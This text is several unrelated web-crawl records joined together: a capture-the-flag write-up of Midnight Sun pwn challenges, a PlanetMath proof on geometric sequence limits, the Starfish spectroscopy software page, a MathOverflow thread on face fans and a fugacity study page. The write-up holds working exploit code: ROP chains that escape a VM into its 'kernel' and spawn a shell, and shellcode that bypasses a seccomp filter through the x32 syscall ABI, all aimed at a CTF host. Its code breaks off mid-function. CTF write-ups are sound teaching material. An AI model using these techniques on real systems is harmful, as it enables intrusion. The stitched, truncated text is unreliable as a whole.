stack • pop reg: pop a value off the stack and store it in reg • setstack reg, imm, setstack reg, reg: use the value of the register reg as an (absolute) index into the stack; set the stack value at that index to reg/imm • getstack reg, reg: use the value of the first register as an (absolute) index into the stack; store the stack value at that index in the second register • syscall: trigger a system call; the first three registers are passed to the kernel as the syscall number and two arguments • debug: output the values of all registers and the stack The syscall instruction additionally passes the VM’s stack to the kernel via the shared memory region. When looking at the implementation of these instructions, we notice that push and pop perform bounds checks on the stack, while setstack and getstack don’t! ## The First Flag At this point we can already obtain the first flag by issuing syscall 3, which copies the flag onto the VM’s stack, and then executing the debug instruction. Flag: midnight{m3_h4bl0_vm} ## Exploitation Because of the strict seccomp mode used by the userspace process, we cannot spawn a shell from that process. We have to use the bug discovered above to gain control of the userspace process, afterwards use another bug in the kernel to escalate further and then spawn a shell. ### ROP in the userspace Using the missing bounds checks mentioned above, we can first leak both the stack canary (of the userspace process) and the base address of the binary (which will be the same in the userspace and kernel processes). After that, we overwrite the stack of the userspace process and execute a ROP chain. Because our previously sent bytecode has to write this chain, we are limited in size. Thus, the first ROP chain will just read some input (the second ROP chain) onto the data segment of the process and pivot the stack there. # gadgets encoded as tuples # the second element indicates if the address is relative to the binary's base # read(0, data + 0xa00, 0xe00) (pop_rdi, True), (0, False), (pop_rsi, True), (0x203000 + 0xa00, True), (pop_rdx, True), (0xe00, False), # rsp = data + 0xa00 (pop_rsp, True), (0x203000 + 0xa00, True), We have to write this first ROP chain using the bytecode executed in the VM, using the getstack and setstack instructions as explained above. Because we have no way to leak the base address of the binary before sending the bytecode, we have to use the bytecode to adjust the addresses of our gadgets. # generate the bytecode for a given ROP chain # abbreviations for opcode operands: r = register, s = stack, i = immediate bc = '' # set regs 1, 2, 3, 4 to ret addr (4 is not touched, because always zero) bc += mov_rs(1, 52) bc += mov_rs(2, 53) bc += mov_rs(3, 54) bc += sub_ri(1, 0xe6e) # debug to leak base addr bc += p32(0xa) idx = 52 for val, rel in rop: if rel: # set regs 5, 6, 7, 8 to val bc += mov_ri(5, val & 0xffff) bc += mov_ri(6, (val >> 16) & 0xffff) bc += mov_ri(7, (val >> 32) & 0xffff) bc += mov_ri(8, (val >> 48) & 0xffff) # write to stack bc += mov_sr(idx, 5) bc += mov_sr(idx + 1, 6) bc += mov_sr(idx + 2, 7) bc += mov_sr(idx + 3, 8) else: # write to stack bc += mov_si(idx, val & 0xffff) bc += mov_si(idx + 1, (val >> 16) & 0xffff) bc += mov_si(idx + 2, (val >> 32) & 0xffff) bc += mov_si(idx + 3, (val >> 48) & 0xffff) idx += 4 For exploiting the kernel, we will need access to the shared memory region, so we use the second ROP chain to leak its address and read a third ROP chain. # second rop chain to leak shared_mem pointer rop = ROP(binary) ### ROP in the kernel Now that we have all info we need and the ability to execute an arbitrarily long ROP chain, we can search for a bug in the kernel. The first bug is obvious when looking at the syscall handler: the shared memory region (which also contains its own size and is fully controlled by userspace) is copied in a fixed-size buffer on the stack, leading to a simple stack buffer overflow. However, there is a stack canary preventing us from exploiting this bug alone. The second bug is a synchronization issue: right before the kernel returns from a syscall, the stack buffer is copied back into the shared memory region, using the size specified in the shared memory region. That means, if we manage to increase the size while the kernel performs a syscall, we can leak data from the kernel stack! During normal operation one of the two processes always blocks while reading from the socket, but now that we control the userspace, we can trigger a syscall and continue execution in userspace without waiting for the syscall to finish. At first this sounds like a hard race condition we have to win, until we look at syscall number 4 which, when supplied with a specific argument, sleeps for a total of 4 seconds. That’s more than enough time to increase the size of the shared memory region. The last issue we have is that, to get the correct timing, the userspace process needs to wait too, but sleep (actually nanosleep) is blocked by the seccomp filter. We can still let the userspace process wait by issuing a dummy read from stdin and waiting the correct amount in our exploit script. So here’s the plan for the third ROP chain: we trigger syscall number 4 and wait a second for the kernel to enter the syscall. Then we overwrite the size of the shared memory region and wait for the kernel to return from the syscall. Now the kernel’s stack canary is stored in the shared memory region, so we print the kernel’s canary to stdout. Our exploit script uses that canary and the info we acquired previously to craft a ROP chain for the kernel. The ROP chain in the userspace continues and reads the ROP chain for the kernel from stdin, into the shared memory region. Finally, it triggers any syscall. The kernel now copies the shared memory region onto its stack, smashing it in the process. # third rop chain to trigger ROP in kernel rop = ROP(binary) rop_data = '' def data_sys(num, arg1=0, arg2=0): return p8(num) + p16(arg1) + p16(arg2) # trigger sys_random(4) rop_data += data_sys(4, 4) # overwrite shared_mem size # dummy read, just for waiting a bit # leak parent stack canary rop.write(1, shared_mem + 74, 8) # read rop chain for parent to shared_mem # trigger rop in parent, via sys_ls() rop_data += data_sys(6) # exit rop.exit(0) The ROP chain executed in the kernel is very simple: since the binary imports system, we can return to it, passing sh as argument (which we can also place in the shared memory), and finally get a shell! rop = ROP(binary) # 'sh' is placed at shared_mem + 0x300 rop.system(shared_mem + 0x300) Flag: midnight{7h3re5_n0_I_iN_VM_bu7_iF_th3r3_w@s_1t_w0uld_b3_VIM} You can find the full exploit script here. • Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again? Service: nc gissa-igen-01.play.midnightsunctf.se 4096 ## Analysis The provided binary first mmaps the flag and then lets us try to guess it. After mapping the flag, the binary also installs a seccomp filter which forbids the system calls open, clone, fork, vfork, execve, creat, openat and execveat. The length of the buffer our input is read to is stored in the main() function as a uint16_t, but a pointer to this length is passed to the guess_flag() function as a uint32_t . Right after the buffer length the current number of tries is stored, so when guess_flag() accesses the buffer length, it actually uses both of these values. This has the effect that on our first guess, the buffer length has the correct value of 0x8b, but on the second guess, the buffer length has increased to 0x1008b, which leads to a stack buffer overflow. ## Exploit: ROP No canary is used, so we can easily overwrite the return address. The only problem left before we can execute a ROP chain is that we don’t know the binary’s base address (it’s a PIE). But that’s easily solved: because the binary doesn’t terminate our input string, we can leak the original return address before sending our ROP chain. However, when we gain control of the execution flow, the flag has already been unmapped and its file descriptor closed. There’s no way for us to divert the execution flow before that point, so we have to find a way to bypass the seccomp filter. ## ROP to Shellcode To ease bypassing of the seccomp filter, let’s first set up a ROP chain to get shellcode execution. The ROP chain is pretty straightforward: map some RWX memory at a fixed address, read our next input into it, and jump there. sc_addr = 0x1337000 rop = rop_call(binary + off_mmap, sc_addr, 0x10000, 7, 0x32, -1, 0) ## Bypass seccomp Filter Now that we can execute shellcode, the only thing left is somehow bypassing the seccomp filter in order to read the flag. Here’s the filter used: line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006 0005: 0x06 0x00 0x00 0x00000000 return KILL 0006: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0008 0007: 0x06 0x00 0x00 0x00000000 return KILL 0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010 0009: 0x06 0x00 0x00 0x00000000 return KILL 0010: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0012 0011: 0x06 0x00 0x00 0x00000000 return KILL 0012: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0014 0013: 0x06 0x00 0x00 0x00000000 return KILL 0014: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0016 0015: 0x06 0x00 0x00 0x00000000 return KILL 0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018 0017: 0x06 0x00 0x00 0x00000000 return KILL 0018: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0020 0019: 0x06 0x00 0x00 0x00000000 return KILL 0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW The filter checks the current architecture, so we cannot bypass it by switching to 32-bit mode However, if we set bit 30 of the syscall number, we can access the ‘x32’ syscall ABI, which provides basically the same system calls and is not blocked by the seccomp filter. Thus, using syscall 0x40000002 instead of 2 for open lets us open and print the flag. # open(0x1338000, 0, 0) - 0x1338000 contains the path mov rax, 0x40000002 mov rdi, 0x1338000 mov rsi, 0 mov rdx, 0 syscall mov rdi, rax mov rax, 0 mov rsi, 0x1338000 mov rdx, 0x100 syscall # write(1, 0x1338000, 0x100) mov rax, 1 mov rdi, 1 mov rsi, 0x1338000 mov rdx, 0x100 syscall Flag: midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP} ## Exploit Code from pwn import context.binary = 'gissa_igen' shellcode = asm(''' mov rax, 0x40000002 mov rdi, 0x1338000 mov rsi, 0 mov rdx, 0 syscall mov rdi, rax mov rax, 0 mov rsi, 0x1338000 mov rdx, 0x100 syscall mov rax, 1 mov rdi, 1 mov rsi, 0x1338000 mov rdx, 0x100 syscall ''') g = remote('gissa-igen-01.play.midnightsunctf.se', 4096) # increase buf_len g.sendlineafter('flag (', '') g.recvuntil('try again') # overwrite buf_len with 168 g.sendlineafter('flag (', 'A' * 140 + p32(168) + p64(0) * 2) g.sendafter('flag (', 'A' * 140 + '\xff\xff' + '\x01\x01' + 'B' * 8 + '\xff' * 8 + 'C' * 8) g.recvuntil('C' * 8) binary = u64(g.recvuntil(' is not right', drop=True).ljust(8, '\0')) - 0xbc5 info("binary @ 0x%x", binary) # ROP to shellcode def rop_call(func, rdi=0, rsi=0, rdx=0, rcx=0, r8=0, r9=0): return flat(binary + 0xc1f, rcx, 0, 0, 0, binary + 0xc1d, rdx, r9, r8, rdi, rsi, func) `	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 44, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.26019594073295593, "perplexity": 3443.495672725384}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232257660.45/warc/CC-MAIN-20190524144504-20190524170504-00373.warc.gz"}
http://www.planetmath.org/limitofgeometricsequence	# limit of geometric sequence As mentionned in the geometric sequence entry, $\displaystyle\lim_{n\to\infty}ar^{n}=0$ (1) for $\|r\|<1$. We will prove this for real or complex values of $r$. We first remark, that for the values $s>1$ we have $\displaystyle\lim_{n\to\infty}s^{n}=\infty$ (cf. limit of real number sequence). In fact, if $M$ is an arbitrary positive number, the binomial theorem (or Bernoulli’s inequality) implies that $s^{n}=(1+s-1)^{n}>1^{n}+\binom{n}{1}(s-1)=1+n(s-1)>n(s-1)>M$ as soon as $\displaystyle n>\frac{M}{s-1}$. Let now $\|r\|<1$ and $\varepsilon$ be an arbitrarily small positive number. Then $\displaystyle\|r\|=\frac{1}{s}$ with $s>1$. By the above remark, $\|r^{n}\|=\|r\|^{n}=\frac{1}{s^{n}}<\frac{1}{n(s-1)}<\varepsilon$ when $\displaystyle n>\frac{1}{(s-1)\varepsilon}$. Hence, $\lim_{n\to\infty}r^{n}=0,$ which easily implies (1) for any real number $a$. Title limit of geometric sequence LimitOfGeometricSequence 2013-03-22 18:32:43 2013-03-22 18:32:43 pahio (2872) pahio (2872) 6 pahio (2872) Proof msc 40-00	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 16, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.99529629945755, "perplexity": 3976.029874254837}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-26/segments/1529267865145.53/warc/CC-MAIN-20180623171526-20180623191526-00353.warc.gz"}
http://iancze.github.io/Starfish/	# Starfish ## tools for robust spectroscopic inference by Ian Czekala and collaborators Our paper just appeared on astro-ph! An introduction about spectroscopic inference and the problems Starfish solves Instructions and examples! Starfish is written in Python. The code is open source and actively developed on Github. If you use this code in your own research, please cite Czekala et al. 15. ## Deriving physical parameters from astronomical spectra Consider the following scenario: An astronomer returns from a successful observing trip with many high signal-to-noise, high resolution stellar spectra on her trusty USB thumbdrive. If she was observing with the type of echelle spectrograph common to most modern observatories, chances are that her data span a significant spectral range, perhaps the full optical (3700 to 9000 angstroms) or the full near-infrared (0.7 to 5 microns). Now that she's back at her home institution, she sets herself to the task of determining the stellar properties of her targets. She is an expert in the many existing well-tested techniques for determining stellar properties, such as MOOG and SME. But the fact that these use only a small portion of her data—several well-chosen lines like Fe and Na—has stubbornly persisted in the back of her mind. At the same time, the astronomer has been paying attention to the steady increase in availability of high quality synthetic spectra, produced by a variety of groups around the world. These libraries span a large range of the stellar parameters she cares about (effective temperature, surface gravity, and metallicity) with a tremendous spectral coverage from the UV to the near-infrared—fully covering her dataset. She wonders, "instead of choosing a subset of lines to study, what if I use these synthetic libraries to fit all of my data?" She knows that it's not quite so simple as just fitting more spectral range, however. She knows that even though the synthetic spectral libraries are generally high quality and quite remarkable in their scope, it is still very hard to produce perfect synthetic spectra. This is primarily due to inaccuracies in atomic and molecular constants that are difficult to measure in the lab, making it difficult to ensure that all spectral lines are accurate over a wide swath of both stellar parameters and spectral range. The highest quality libraries tend to achieve their precision by focusing on a "sweet spot" of stellar parameters near those of the Sun, and by choosing a limited spectral range, where atomic constants can be meticulously vetted for accuracy. The astronomer also knows that some of her stars may have non-solar ratios of elemental abundances, a behavior that is not captured by the limited set of adjustable parameters that specify a spectrum in a synthetic library. She's tried fitting the full spectrum of her stars using a simple $$\chi^2$$ likelihood function, but she knows that ignoring these effects will lead to parameter estimates that are biased and have unrealistically small uncertainties. She wonders, "How can I fit my entire spectrum but avoid these pitfalls?" ## Introducing Starfish: a general purpose framework for robust spectroscopic inference We have developed a framework for spectroscopic inference that fulfills the astronomer's dream of using all of the data, called Starfish. Our statistical framework attempts to overcome many of the difficulties that the astronomer noted. Principally, at high resolution and high sensitivity, model systematics—such as inaccuracies in the strengths of particular lines—will dominate the noise budget. We address these problems by accounting for the covariant structure of the residuals that can result from fitting models to data in this high signal-to-noise, high spectral resolution regime. Using some of the machinery developed by the field of Gaussian processes, we can parameterize the covariant structure both due to general line mis-matches as well as specific "outlier" spectral lines due to pathological errors in the atomic and molecular line databases. Besides alleviating the problem of systematic bias and spectral line outliers when inferring stellar parameters, this approach has many added benefits. By forward-modeling the data spectrum, we put the problem of spectroscopic inference on true probabilistic footing. Rather than iterating in an open loop between stellar spectroscopists and stellar modelers, whereby knowledge about the accuracies of line fits is communicated post-mortem, a probabilistic inference framework like Starfish delivers posterior distributions over the locations and strengths of outlier spectral lines. Combined with a suite of stellar spectra spanning a range of stellar parameters and a tunable list of atomic and molecular constants, a probabilistic framework like this provides a way to close the loop on improving both the stellar models and the stellar parameters inferred from them by comparing models to data directly, rather than mediating through a series of fits to selected spectral lines. Lastly, using a forward model means that uncertainties about other non-stellar parameters, such as flux-calibration or interstellar reddening, can be built into the model and propagated forward. In a future version of Starfish we aim to include a parameterization for the accretion continuum that "veils" the spectra of young T Tauri stars. ## Fitting many lines at once Here is a general example of what can happen when one attempts to fit data with synthetic spectra over a wide spectral range. This is an optical spectrum of WASP-14, an F star hosting a transiting exoplanet. top: A comparison of the data and a typical model fit, along with the corresponding residual spectrum. Notice that this residual spectrum does not look like pure white noise. middle: A zoomed view of the gray band in the top panel, highlighting the mildly covariant residual structure that is produced by slight mismatches between the data and model spectra. bottom: The autocorrelation of the residual spectrum. Notice the substantial autocorrelation signal for offsets of 8 pixels or fewer, demonstrating clearly that the residuals are not well described by white (Poisson) noise alone. ## Spectral line outliers Here is a specific example of individual lines that are strongly discrepant from the data. There is substantial localized structure in the residuals due to "outlier" spectral lines in the model library. For any specific line, there might exist a set of model parameters that will improve the match with the data, but there is no single set of model parameters that will properly fit all of the lines at once. ## Model the covariance In order to account for the covariant residual structure which results from model systematics, we derive a likelihood function with a non-trivial covariance matrix, which maps the covariances between pixels. $$p (\mathsf{D} \| \mathsf{M} ) \propto \left \|\det(\mathsf{C}) \right \|^{-1/2} \exp \left (- \frac{1}{2} \mathsf{R}^T \mathsf{C}^{-1} \mathsf{R} \right )$$ We then parameterize this covariance matrix $$\mathsf{C}$$ using Gaussian process covariance kernels. This procedure is demonstrated in the following figure through the following decomposition of how the Gaussian process kernels contribute to the covariance matrix. top panel: a typical comparison between the data and model spectra, along with the associated residual spectrum. The subsequent rows focus on the illustrative region shaded in gray. The left column of panels shows the corresponding region of the covariance matrix $$\mathsf{C}$$, decomposed into its primary contributions: (top row) the trivial noise matrix using just Poisson errors $$\delta_{ij} \sigma_i$$, (middle row) the trivial matrix combined with a "global" covariance kernel $$\mathcal{K}^\textrm{G}$$, and (bottom row) these matrices combined with a "local" covariance kernel $$\mathcal{K}^\textrm{L}$$ to account for an outlier spectral line. The right column of panels shows the zoomed-in residual spectrum with example random draws from the covariance matrix to the left. The shaded contours in orange represent the 1, 2, and 3 sigma dispersions of an ensemble of 200 random draws from the covariance matrix. Note that the trivial covariance matrix (top row) poorly reproduces both the scale and structure of the residual spectrum. The addition of a global kernel (middle row) more closely approximates the structure and amplitude of the residuals, but misses the outlier line at 5202.5 angstroms. Including a local kernel at that location (bottom row) results in a covariance matrix that does an excellent job of reproducing all the key residual features. ## Robust to outlier spectral lines Starfish uses Markov Chain Monte Carlo (MCMC) to explore the full posterior probability distribution of the stellar parameters, including the noise parameters which describe the covariance of the residuals. By fitting all of the parameters simultaneously, we can be more confident that we have properly accounted for our uncertainty in these other parameters. top A K-band SPEX spectrum of Gl 51 (an M5 dwarf) fit with a PHOENIX spectroscopic model. While the general agreement of the spectrum is excellent, the strength of the Na and Ca lines is underpredicted (also noted by Rojas-Ayala et al. 2012). bottom The residual spectrum from this fit along with orange shading contours representing the distributions of a large number of random draws from the covariance matrix (showing 1, 2, and 3 sigma). Notice how the outlier spectral line features are consistently identified and downweighted by the local covariance kernels. Because the parameters for the local kernels describing the spectral outliers are determined self-consistently along with the stellar parameters, we can be more confident that the influence of these outlier lines on the spectral fit is appropriately downweighted. This weighting approach is in contrast to a more traditional "sigma-clipping" procedure, which would discard these points from the fit. As noted by Mann et al. 2013, some mildly discrepant spectral regions actually contain significant spectral information about the stellar parameters, perhaps more information than spectral regions that are in excellent agreement with the data. Rather than simply discarding these discrepant regions, the appropriate step is then to determine the weighting by which these spectral regions should contribute to the total likelihood. These local kernels provide exactly such a weighting mechanism. ## Marginalized stellar parameters right The posterior probability distribution of the interesting stellar parameters for Gl 51, marginalized over all of nuisance parameters including the covariance kernel hyperparameters. The contours are drawn at 1, 2, and 3 sigma levels for reference. The forward modeling approach is unique in that the result is a posterior distribution over stellar parameters. Rather than yielding a simple metric of "best-fit" parameters, exploring the probability distribution with MCMC reveals any covariances between stellar parameters. For this star with the above K-band spectrum, the covariance between $$T_\textrm{eff}$$ and $$[\textrm{Fe}/ \textrm{H}]$$ is mild, but for stars of different spectral types the degeneracy can be severe. ## Spectral emulator For spectra with very high signal to noise, interpolation error from the synthetic library may constitute a significant portion of the noise budget. This error is due to the fact that stellar spectral synthesis is an inherently non-linear process requiring complex model atmospheres and radiative transfer. Unfortunately, we are not (yet) in an age where synthetic spectral synthesis over a large spectral range is fast enough to use within a MCMC call. Therefore, it is necessary to approximate an interpolated spectrum based upon spectra with similar stellar properties. Following the techniques of Habib et al. 2007, we design a spectral emulator, which, rather than interpolating spectra, delivers a probability distribution over all probable interpolate spectra. Using this probability distribution, we can in our likelihood function analytically marginalize over all probable spectral interpolations, in effect forward propagating any uncertainty introduced by the interpolation process. top The mean spectrum, standard deviation spectrum, and five eigenspectra that form the basis of the PHOENIX synthetic library used to model Gl 51, generated using a subset of the parameter space most relevant for M dwarfs. bottom The original synthetic spectrum from the PHOENIX library ($$T_\textrm{eff} = 3000\,\textrm{K}$$, $$\log g = 5.0\,\textrm{dex}$$, $$[\textrm{Fe}/ \textrm{H}] = 0.0\,\textrm{dex}$$) compared with a spectrum reconstructed from a linear combination of the derived eigenspectra, using the weights listed in the top panel.	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 2, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7198596596717834, "perplexity": 1121.2360250469524}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-39/segments/1505818693459.95/warc/CC-MAIN-20170925220350-20170926000350-00258.warc.gz"}
http://mathoverflow.net/questions/138629/haless-fan-associated-with-a-polyhedron/138631	# Hales's fan associated with a polyhedron In Hales's book (cited below), he associates what he calls a fan with any convex polyhedron in $\mathbb{R}^3$. I will not define his notion of fan, but let his figure (p.137) serve as a definition: My question is: Has this natural object been defined and used previously in other contexts and perhaps under another name? Thomas Hales, Dense Sphere Packings: A Blueprint for Formal Proofs. 2012. (Cambridge link) - The fan Hales is using is called the "face fan" of the polytope. In toric varieties, one mainly considers the outer normal fan of a polytope, which has a ray for each facet (perpendicular to it). The face fan, on the other hand, has a ray for each vertex. There is an inclusion-reversing map between the poset of faces of these two fans (if we omit the zero-faces). So that is probably what Hales means by saying that the two notions bear some resemblance but are not the same. - Thank you, Hugh! This likely explains his comments about the notation. – Joseph O'Rourke Aug 9 '13 at 1:30	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8124828338623047, "perplexity": 1110.7695141195015}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-10/segments/1393999653402/warc/CC-MAIN-20140305060733-00043-ip-10-183-142-35.ec2.internal.warc.gz"}
https://learncheme.com/quiz-yourself/interactive-self-study-modules/fugacities-of-mixtures/fugacities-of-mixtures-screencast/	#### Fugacities of Mixtures: Screencasts Explains why fugacity is important for mixtures and explains how it is used. We suggest you list the important points in this screencast as a way to increase retention. Describes how the fugacities of each component in a binary mixture liquid change as the temperature increases until all the liquid vaporizes. We suggest you list the important points in this screencast as a way to increase retention. ##### Important Equations: Fugacity of component $$i$$, $$\hat{f_i}$$, in an ideal solution: $\hat{f_i} \; = x_iP^{sat} _i$ where $$x_i$$ is liquid mole fraction of component $$i$$ $$P^{sat} _i$$ is the saturation pressure of component $$i$$ Fugacity of component $$i$$ in a non-ideal liquid solution: $\hat{f_i} = x_i\gamma _i P^{sat} _i$ where $$\gamma _i$$ is the activity coefficient of component $$i$$. Fugacity of component $$i$$ in a liquid solution at elevated pressure (Poynting correction): $\hat{f_i} = x_i\gamma _i \phi ^{sat} _i P^{sat} _i exp \left( \frac{V^L(P-P^{sat} _i)}{RT} \right)$ where $$V^L$$ is the molar volume of the liquid $$\phi ^{sat} _i$$ is the fugacity coefficient at saturation pressure for pure component $$i$$ $$R$$ is the ideal gas constant $$T$$ is the absolute temperature Antoine equation for component $$i$$: $log-{10}(P^{sat} _i) = A_i – \frac{B_i}{C_i + T}$ where $$P^{sat} _i$$ is the saturation pressure $$T$$ is the temperature (most often in °C) $$A_i, B_i,$$ and $$C_i$$ are constants for a given component $$i$$ Vapor-liquid phase equilibrium for component $$i$$: $\hat{\,f^V _i} = \hat{\,f^L _i}$ where $$\hat{\,f^V _i}$$ is the fugacity of component $$i$$ in the vapor phase $$\hat{\,f^L _i}$$ is the fugacity of component $$i$$ in the liquid phase	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9698508381843567, "perplexity": 1176.2051950620114}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-06/segments/1674764500813.58/warc/CC-MAIN-20230208123621-20230208153621-00676.warc.gz"}

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